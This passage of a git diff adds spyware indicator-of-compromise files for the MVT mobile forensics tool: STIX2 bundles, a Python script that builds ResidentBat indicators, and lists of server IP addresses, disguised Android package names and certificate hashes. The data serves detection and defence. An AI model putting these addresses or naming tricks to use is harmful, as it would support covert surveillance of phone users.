"2023-08-17T12:26:05.685125Z", + "relationship_type": "indicates", + "source_ref": "indicator--476261f6-fb33-443e-b8ec-426e964525f4", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3970690d-ad78-4d7d-9b89-77c44ce756f3", + "created": "2023-08-17T12:26:05.68539Z", + "modified": "2023-08-17T12:26:05.68539Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='2594d654e4e820495392424e52c79d8ea89a8063ebb05bc6cf9f8547605db3a1']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.68539Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e2e4fff2-44cc-4c36-990e-f10c9bd3256f", + "created": "2023-08-17T12:26:05.686805Z", + "modified": "2023-08-17T12:26:05.686805Z", + "relationship_type": "indicates", + "source_ref": "indicator--3970690d-ad78-4d7d-9b89-77c44ce756f3", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--baa52a1b-222a-4e30-9e57-44e4e2c33526", + "created": "2023-08-17T12:26:05.68707Z", + "modified": "2023-08-17T12:26:05.68707Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='db389366540d43ffa1451fae16e0ab34bf266b9c88aff65d919f474e9430d5d6']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.68707Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--80ab7d66-fba1-4e1a-adbc-9b686d8d2b83", + "created": "2023-08-17T12:26:05.689139Z", + "modified": "2023-08-17T12:26:05.689139Z", + "relationship_type": "indicates", + "source_ref": "indicator--baa52a1b-222a-4e30-9e57-44e4e2c33526", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d535dccc-ddd9-4721-8af2-53841e94101c", + "created": "2023-08-17T12:26:05.689432Z", + "modified": "2023-08-17T12:26:05.689432Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='36d72fedc17be9936f182b38ca98c40a0f9ba44cac170bd63cbded9568452d25']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.689432Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2500e889-4909-4ee8-932a-85a638cc5b7c", + "created": "2023-08-17T12:26:05.690783Z", + "modified": "2023-08-17T12:26:05.690783Z", + "relationship_type": "indicates", + "source_ref": "indicator--d535dccc-ddd9-4721-8af2-53841e94101c", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--24495edd-1755-4902-848f-3eb9f111cfbd", + "created": "2023-08-17T12:26:05.691049Z", + "modified": "2023-08-17T12:26:05.691049Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='82c75b521fd03f6c4074494f0e3c46cc7aa8e5b88c28ebb08401a50109206668']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.691049Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--17a98633-d30a-4108-ad35-62ca0af19428", + "created": "2023-08-17T12:26:05.692265Z", + "modified": "2023-08-17T12:26:05.692265Z", + "relationship_type": "indicates", + "source_ref": "indicator--24495edd-1755-4902-848f-3eb9f111cfbd", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8a0c8047-1e3c-4237-b886-e7acc95b4a4b", + "created": "2023-08-17T12:26:05.692531Z", + "modified": "2023-08-17T12:26:05.692531Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='d773c969c1be976410b9d8304fe6c07b142766f7bec2242e0eb5c18d3503eec1']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.692531Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7bda1d0a-7f20-484c-a3d5-177ab8f64f8c", + "created": "2023-08-17T12:26:05.693663Z", + "modified": "2023-08-17T12:26:05.693663Z", + "relationship_type": "indicates", + "source_ref": "indicator--8a0c8047-1e3c-4237-b886-e7acc95b4a4b", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--627a53c9-62c3-407a-a4c4-b98fde0c50f9", + "created": "2023-08-17T12:26:05.693928Z", + "modified": "2023-08-17T12:26:05.693928Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='9ef830205b7cf0d59d495f722fc61cc3a9f938972e24bae05fa8620b43ed264a']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.693928Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ad3e6568-cbc9-4ab1-bebb-b27698d9b262", + "created": "2023-08-17T12:26:05.695062Z", + "modified": "2023-08-17T12:26:05.695062Z", + "relationship_type": "indicates", + "source_ref": "indicator--627a53c9-62c3-407a-a4c4-b98fde0c50f9", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--08bbbb8a-79a1-4fd5-9eeb-783e2c7c1548", + "created": "2023-08-17T12:26:05.695319Z", + "modified": "2023-08-17T12:26:05.695319Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='92ce9de120ebd88f0126644697e9840489b2c2497e5c99acfa7dd680d98cf075']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.695319Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--71752637-d94e-4dcc-9eb6-d6db6e463672", + "created": "2023-08-17T12:26:05.696772Z", + "modified": "2023-08-17T12:26:05.696772Z", + "relationship_type": "indicates", + "source_ref": "indicator--08bbbb8a-79a1-4fd5-9eeb-783e2c7c1548", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--22942a8b-61b3-4064-a60f-432bee5421c0", + "created": "2023-08-17T12:26:05.697039Z", + "modified": "2023-08-17T12:26:05.697039Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.adobe.flash.jni']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.697039Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6e2ac074-5ca5-4852-bdeb-b5cd2bbbcc17", + "created": "2023-08-17T12:26:05.699128Z", + "modified": "2023-08-17T12:26:05.699128Z", + "relationship_type": "indicates", + "source_ref": "indicator--22942a8b-61b3-4064-a60f-432bee5421c0", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--44f6d108-a725-4d30-a5f7-d20959c6f6e8", + "created": "2023-08-17T12:26:05.699426Z", + "modified": "2023-08-17T12:26:05.699426Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='xx.an']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.699426Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d8ac6df2-8016-4da9-b259-5b823b4ababa", + "created": "2023-08-17T12:26:05.700415Z", + "modified": "2023-08-17T12:26:05.700415Z", + "relationship_type": "indicates", + "source_ref": "indicator--44f6d108-a725-4d30-a5f7-d20959c6f6e8", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c80f3da0-d08b-4ed5-8a40-6838edb5d571", + "created": "2023-08-17T12:26:05.700714Z", + "modified": "2023-08-17T12:26:05.700714Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.android.system.configs.service']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.700714Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0fc1be7f-65cc-44ca-86b9-9165e7616fbe", + "created": "2023-08-17T12:26:05.701736Z", + "modified": "2023-08-17T12:26:05.701736Z", + "relationship_type": "indicates", + "source_ref": "indicator--c80f3da0-d08b-4ed5-8a40-6838edb5d571", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--323e1ecf-4c32-4298-8060-a75548774c14", + "created": "2023-08-17T12:26:05.702Z", + "modified": "2023-08-17T12:26:05.702Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='remote.google.rt.googleservice']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.702Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--36106778-028e-4617-b506-4d5d76a9c0ef", + "created": "2023-08-17T12:26:05.703009Z", + "modified": "2023-08-17T12:26:05.703009Z", + "relationship_type": "indicates", + "source_ref": "indicator--323e1ecf-4c32-4298-8060-a75548774c14", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--49b518ed-526f-4274-8604-7af77daebb56", + "created": "2023-08-17T12:26:05.703271Z", + "modified": "2023-08-17T12:26:05.703271Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.adobe.flash.listen.beta']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.703271Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9f4a6439-8138-438b-98f8-4d4c5806e54b", + "created": "2023-08-17T12:26:05.704169Z", + "modified": "2023-08-17T12:26:05.704169Z", + "relationship_type": "indicates", + "source_ref": "indicator--49b518ed-526f-4274-8604-7af77daebb56", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b0e35172-dd29-456a-a497-89a60de47b0d", + "created": "2023-08-17T12:26:05.704425Z", + "modified": "2023-08-17T12:26:05.704425Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.adobe.flash.dex']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.704425Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--43789c78-34ab-4ec1-9e53-0af254ef3ed0", + "created": "2023-08-17T12:26:05.705309Z", + "modified": "2023-08-17T12:26:05.705309Z", + "relationship_type": "indicates", + "source_ref": "indicator--b0e35172-dd29-456a-a497-89a60de47b0d", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f0243da6-e9dd-4a4c-9503-6473ab584636", + "created": "2023-08-17T12:26:05.705594Z", + "modified": "2023-08-17T12:26:05.705594Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.hx.rootwifi']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.705594Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e5d2f855-c2c6-4304-97bb-17352e3306d5", + "created": "2023-08-17T12:26:05.706679Z", + "modified": "2023-08-17T12:26:05.706679Z", + "relationship_type": "indicates", + "source_ref": "indicator--f0243da6-e9dd-4a4c-9503-6473ab584636", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + } + ] +} \ No newline at end of file diff --git a/data/ioc/spyware/mvt/LICENSE b/data/ioc/spyware/mvt/LICENSE new file mode 100644 index 0000000..4e9f928 --- /dev/null +++ b/data/ioc/spyware/mvt/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 MVT + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/data/ioc/spyware/mvt/README.md b/data/ioc/spyware/mvt/README.md new file mode 100644 index 0000000..5737715 --- /dev/null +++ b/data/ioc/spyware/mvt/README.md @@ -0,0 +1,9 @@ +# mvt-indicators + +This repository contains the index to known publicly available indicators of compromise comptable with MVT. It also contains indicators file created and contributed by the community, gathered from published research. + +## How to contribute new indicators of compromise + +To contribute new indicators of compromise you are invited to submit pull requests to this repository including a new folder in the format of `YYYY-MM-DD_short_description`, containing text files for each indicators category as well as a [STIX2](https://oasis-open.github.io/cti-documentation/stix/intro.html) file to be used with MVT. To generate a STIX2 file you can use the utility [stix2gen](https://github.com/botherder/stix2gen) (please refer to its repository for instructions on how to use). + +When submitting a new pull request, please include the source of these indicators as well as any reference to related publicly available research and documentation. diff --git a/data/ioc/spyware/mvt/ResidentBat/domains.txt b/data/ioc/spyware/mvt/ResidentBat/domains.txt new file mode 100644 index 0000000..e69de29 diff --git a/data/ioc/spyware/mvt/ResidentBat/generate_stix.py b/data/ioc/spyware/mvt/ResidentBat/generate_stix.py new file mode 100644 index 0000000..44ad6ff --- /dev/null +++ b/data/ioc/spyware/mvt/ResidentBat/generate_stix.py @@ -0,0 +1,87 @@ +import sys +import os +from stix2.v21 import (Indicator, Malware, Relationship, Bundle) + + +from stix2 import CustomObservable + +# @CustomObservable('x-new-observable-2', [ +# ('a_property', properties.StringProperty(required=True)), +# ('property_2', properties.IntegerProperty()), +# ], [ +# 'a_property' +# ]) +# class NewObservable2(): +# pass + +def hash_format(hash): + if len(hash) == 32: + return "md5" + elif len(hash) == 40: + return "sha1" + elif len(hash) == 64: + return "sha256" + else: + return None + +if __name__ == "__main__": + malware_name = "ResidentBat" + stix2_file_name = "residentbat.stix2" + if os.path.isfile(stix2_file_name): + os.remove(stix2_file_name) + + with open("domains.txt") as f: + domains = list(set([a.strip() for a in f.read().split()])) + + with open("ip-addresses.txt") as f: + ips = list(set([a.strip() for a in f.read().split()])) + + with open("package_names.txt") as f: + package_names = list(set([a.strip() for a in f.read().split()])) + + with open("package_cert_hashes.txt") as f: + package_cert_hashes = list(set([a.strip() for a in f.read().split()])) + + with open("sha256.txt") as f: + sha256_hashes = list(set([a.strip() for a in f.read().split()])) + + res = [] + malware = Malware(name=malware_name, is_family=False, description="IOCs for ResidentBat") + res.append(malware) + for d in domains: + i = Indicator(indicator_types=["malicious-activity"], pattern="[domain-name:value='{}']".format(d), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for ip in ips: + i = Indicator(indicator_types=["malicious-activity"], pattern="[ipv4-addr:value='{}']".format(ip), + pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for package_name in package_names: + i = Indicator(indicator_types=["malicious-activity"], pattern="[app:id='{}']".format(package_name), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for cert_hash in package_cert_hashes: + hash_type = hash_format(cert_hash) + if not hash_type: + raise ValueError("Unknown hash type for {}".format(cert_hash)) + + i = Indicator(indicator_types=["malicious-activity"], pattern=f"[app:cert.{hash_type}='{cert_hash}']", pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for sha256_hash in sha256_hashes: + if not hash_format(sha256_hash) == "sha256": + raise ValueError("File hash is not in SHA256 format: {}".format(sha256_hash)) + i = Indicator(indicator_types=["malicious-activity"], pattern=f"[file:hashes.sha256='{sha256_hash}']", pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + + bundle = Bundle(objects=res) + with open(stix2_file_name, "w+") as f: + f.write(bundle.serialize(pretty=True, indent=4)) + print("{} file created".format(stix2_file_name)) diff --git a/data/ioc/spyware/mvt/ResidentBat/ip-addresses.txt b/data/ioc/spyware/mvt/ResidentBat/ip-addresses.txt new file mode 100644 index 0000000..248d087 --- /dev/null +++ b/data/ioc/spyware/mvt/ResidentBat/ip-addresses.txt @@ -0,0 +1,24 @@ +62.109.26.144 +91.107.122.180 +5.129.230.104 +82.146.35.54 +62.109.12.75 +79.132.136.191 +83.220.169.120 +5.129.213.114 +5.253.63.176 +62.109.11.98 +62.109.19.123 +185.248.103.85 +5.129.231.158 +185.18.54.246 +91.240.87.211 +185.248.103.128 +185.248.103.247 +188.120.230.46 +37.46.133.87 +5.253.61.156 +79.132.141.31 +37.46.128.62 +91.228.152.4 +91.192.102.69 diff --git a/data/ioc/spyware/mvt/ResidentBat/package_cert_hashes.txt b/data/ioc/spyware/mvt/ResidentBat/package_cert_hashes.txt new file mode 100644 index 0000000..1219735 --- /dev/null +++ b/data/ioc/spyware/mvt/ResidentBat/package_cert_hashes.txt @@ -0,0 +1,8 @@ +18afc5c6bfaee504a26291f6bf3e6f823dbedd54bba0c4acac2e7c2414b3e24d +c1884e617348ebbdfe7cfe5fc99945b37296d6ebc6059bb74fbaeea277d32941 +e5016f3cfb937d502dabedc32ca3bdef3bbcce032fb3b1bff3b9c6482895f4fd +d12616542268d32329f1c4357b5d5a57e954e13d2338d27bb8439794291b8c6d +3e9f1192e33cb851b48479629c93d29770a4f76af00f1e42a3c6e7f97db62c79 +6782039a81a85264acdc6af0973b225ada6009f76faae7f948a1de040bb32f0c +a6a067b0d899fb514b7b4597d4fe16fcd4d7e5c361f6c84b3d45ed7e394036c7 +6d6278ffc80ad9dd1b1c6b445847ce108f3ea5ce349f232689e9b8c1fd10801e diff --git a/data/ioc/spyware/mvt/ResidentBat/package_names.txt b/data/ioc/spyware/mvt/ResidentBat/package_names.txt new file mode 100644 index 0000000..c8fee69 --- /dev/null +++ b/data/ioc/spyware/mvt/ResidentBat/package_names.txt @@ -0,0 +1,8 @@ +com.google.android.service +com.google.bat +com.huaweisettingsapp.mkz +com.linkedln.service +com.oneplussync.bat +cm.google.android.apps.assistant +com.android.framework.safety +com.hihonor.core.service diff --git a/data/ioc/spyware/mvt/ResidentBat/residentbat.stix2 b/data/ioc/spyware/mvt/ResidentBat/residentbat.stix2 new file mode 100644 index 0000000..2dab79a --- /dev/null +++ b/data/ioc/spyware/mvt/ResidentBat/residentbat.stix2 @@ -0,0 +1,1168 @@ +{ + "type": "bundle", + "id": "bundle--b3020710-a324-4e33-9a21-bbd99efee193", + "objects": [ + { + "type": "malware", + "spec_version": "2.1", + "id": "malware--b939e7ad-9889-41ba-9288-eddf13b779db", + "created": "2025-12-17T08:41:10.162825Z", + "modified": "2025-12-17T08:41:10.162825Z", + "name": "ResidentBat", + "description": "IOCs for ResidentBat", + "is_family": false + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a6d20359-fcee-4287-8a5d-d71af6b6a636", + "created": "2025-12-17T08:41:10.163053Z", + "modified": "2025-12-17T08:41:10.163053Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='83.220.169.120']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.163053Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--387fe27d-a692-4425-bc1c-0565ecf9ee90", + "created": "2025-12-17T08:41:10.167869Z", + "modified": "2025-12-17T08:41:10.167869Z", + "relationship_type": "indicates", + "source_ref": "indicator--a6d20359-fcee-4287-8a5d-d71af6b6a636", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--942f8aad-3dcf-454d-9495-7f799548ae9e", + "created": "2025-12-17T08:41:10.16837Z", + "modified": "2025-12-17T08:41:10.16837Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='5.129.230.104']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.16837Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--67187a46-755c-4696-b12f-5f71726b2606", + "created": "2025-12-17T08:41:10.168955Z", + "modified": "2025-12-17T08:41:10.168955Z", + "relationship_type": "indicates", + "source_ref": "indicator--942f8aad-3dcf-454d-9495-7f799548ae9e", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a293f648-b1c3-4412-b5be-0fb773af3cbe", + "created": "2025-12-17T08:41:10.169102Z", + "modified": "2025-12-17T08:41:10.169102Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='62.109.11.98']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.169102Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--60a3f893-53d4-449c-b1cc-f661db548e95", + "created": "2025-12-17T08:41:10.169546Z", + "modified": "2025-12-17T08:41:10.169546Z", + "relationship_type": "indicates", + "source_ref": "indicator--a293f648-b1c3-4412-b5be-0fb773af3cbe", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3bdfc6b0-5376-4e19-906a-32611f263564", + "created": "2025-12-17T08:41:10.169734Z", + "modified": "2025-12-17T08:41:10.169734Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='5.129.213.114']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.169734Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--00135002-bfc0-4f96-8acf-8cc5e0973b44", + "created": "2025-12-17T08:41:10.170114Z", + "modified": "2025-12-17T08:41:10.170114Z", + "relationship_type": "indicates", + "source_ref": "indicator--3bdfc6b0-5376-4e19-906a-32611f263564", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f85bd1e5-6f0b-4bc2-a732-22209904365d", + "created": "2025-12-17T08:41:10.170247Z", + "modified": "2025-12-17T08:41:10.170247Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='62.109.19.123']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.170247Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f7e250a6-4bdd-43ec-aa5e-ba4fe9750536", + "created": "2025-12-17T08:41:10.170643Z", + "modified": "2025-12-17T08:41:10.170643Z", + "relationship_type": "indicates", + "source_ref": "indicator--f85bd1e5-6f0b-4bc2-a732-22209904365d", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e8a7b478-a06a-4a35-83a7-d133c24d09bf", + "created": "2025-12-17T08:41:10.170782Z", + "modified": "2025-12-17T08:41:10.170782Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='185.248.103.128']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.170782Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--63005ba3-6f4d-4eae-8dbc-38be8f644bde", + "created": "2025-12-17T08:41:10.171229Z", + "modified": "2025-12-17T08:41:10.171229Z", + "relationship_type": "indicates", + "source_ref": "indicator--e8a7b478-a06a-4a35-83a7-d133c24d09bf", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--48356bc8-f14b-4c4c-b319-554638add57e", + "created": "2025-12-17T08:41:10.171354Z", + "modified": "2025-12-17T08:41:10.171354Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='185.248.103.247']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.171354Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2c4bd80c-c8f0-4b38-8f36-389b5efc3cd5", + "created": "2025-12-17T08:41:10.17179Z", + "modified": "2025-12-17T08:41:10.17179Z", + "relationship_type": "indicates", + "source_ref": "indicator--48356bc8-f14b-4c4c-b319-554638add57e", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f8dc163d-a468-4eff-99fd-8e59c6d37925", + "created": "2025-12-17T08:41:10.171928Z", + "modified": "2025-12-17T08:41:10.171928Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='62.109.12.75']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.171928Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--63178f39-2755-4ce0-a787-7fde8835dd06", + "created": "2025-12-17T08:41:10.172281Z", + "modified": "2025-12-17T08:41:10.172281Z", + "relationship_type": "indicates", + "source_ref": "indicator--f8dc163d-a468-4eff-99fd-8e59c6d37925", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0a843b16-6ede-4a75-84f6-9cc410c7ea9b", + "created": "2025-12-17T08:41:10.172402Z", + "modified": "2025-12-17T08:41:10.172402Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='37.46.128.62']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.172402Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e2252b36-66da-4061-983e-2c89aa919370", + "created": "2025-12-17T08:41:10.172837Z", + "modified": "2025-12-17T08:41:10.172837Z", + "relationship_type": "indicates", + "source_ref": "indicator--0a843b16-6ede-4a75-84f6-9cc410c7ea9b", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--76a543ed-6c64-4921-9865-504946d89afe", + "created": "2025-12-17T08:41:10.172978Z", + "modified": "2025-12-17T08:41:10.172978Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='185.248.103.85']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.172978Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1a1b8ee2-615e-481c-bcd3-5e1fb17d3a11", + "created": "2025-12-17T08:41:10.173321Z", + "modified": "2025-12-17T08:41:10.173321Z", + "relationship_type": "indicates", + "source_ref": "indicator--76a543ed-6c64-4921-9865-504946d89afe", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--88a83d91-3caf-4922-9ffa-e8215275354c", + "created": "2025-12-17T08:41:10.173445Z", + "modified": "2025-12-17T08:41:10.173445Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='79.132.141.31']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.173445Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--635622a8-395a-4eb6-8041-690310024513", + "created": "2025-12-17T08:41:10.173883Z", + "modified": "2025-12-17T08:41:10.173883Z", + "relationship_type": "indicates", + "source_ref": "indicator--88a83d91-3caf-4922-9ffa-e8215275354c", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c165e217-9a34-4283-a34e-45bf7698ffcb", + "created": "2025-12-17T08:41:10.174019Z", + "modified": "2025-12-17T08:41:10.174019Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='5.129.231.158']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.174019Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--989cf27e-a08c-4f28-b4f2-41364c1a1e8a", + "created": "2025-12-17T08:41:10.174391Z", + "modified": "2025-12-17T08:41:10.174391Z", + "relationship_type": "indicates", + "source_ref": "indicator--c165e217-9a34-4283-a34e-45bf7698ffcb", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--99330b3d-fbb7-4208-9efd-cb63e7886085", + "created": "2025-12-17T08:41:10.17451Z", + "modified": "2025-12-17T08:41:10.17451Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='185.18.54.246']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.17451Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6601c436-9571-4492-b6e9-4329299dcec7", + "created": "2025-12-17T08:41:10.17491Z", + "modified": "2025-12-17T08:41:10.17491Z", 